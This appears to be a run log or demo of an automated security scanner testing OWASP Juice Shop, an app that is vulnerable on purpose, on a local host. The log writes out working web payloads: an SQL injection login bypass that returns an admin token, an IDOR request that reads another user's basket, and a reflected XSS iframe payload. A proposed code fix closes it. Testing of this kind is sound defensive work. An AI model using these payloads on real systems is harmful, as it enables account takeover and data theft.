From login form to admin in one request

Mapped the app’s routes

$ enforster crawl http://juice-shop.local --auth none

142 routes · 38 API endpoints under /rest and /api
Angular SPA, Express backend, SQLite

The login endpoint builds SQL from the email field

POST /rest/user/login returns a verbose SQLite error when the email contains a single quote. That points to string concatenation, not a parameterised query.

Tried a classic login bypass

POST /rest/user/login
{ "email": "' OR 1=1--", "password": "x" }

200 OK
{ "authentication": { "token": "eyJ…", "umail": "[email protected]" } }

Verified: SQL injection gives an admin session

The token belongs to the first user in the table, the administrator. Reproduced 3 of 3 times.

Read another customer’s basket

GET /rest/basket/2
Authorization: Bearer <token for customer with basket 1>

200 OK · basket 2 items returned

Verified: baskets are readable by ID (IDOR)

The API checks that you are logged in, not that the basket is yours.

Search parameter reaches the DOM unescaped

GET /#/search?q=<iframe src="javascript:alert(`xss`)">

Payload executed in a headless browser

Dismissed 37 scanner alerts

Missing headers on static assets, a weak cipher on the dev port, reflected parameters that are encoded on output, and 31 duplicates of the three issues above.

Opened a fix for the login query

- models.sequelize.query(`SELECT * FROM Users WHERE email = '${email}' …`)+ models.User.findOne({ where: { email, password: security.hash(password) } })

Run complete: 3 verified, 37 dismissed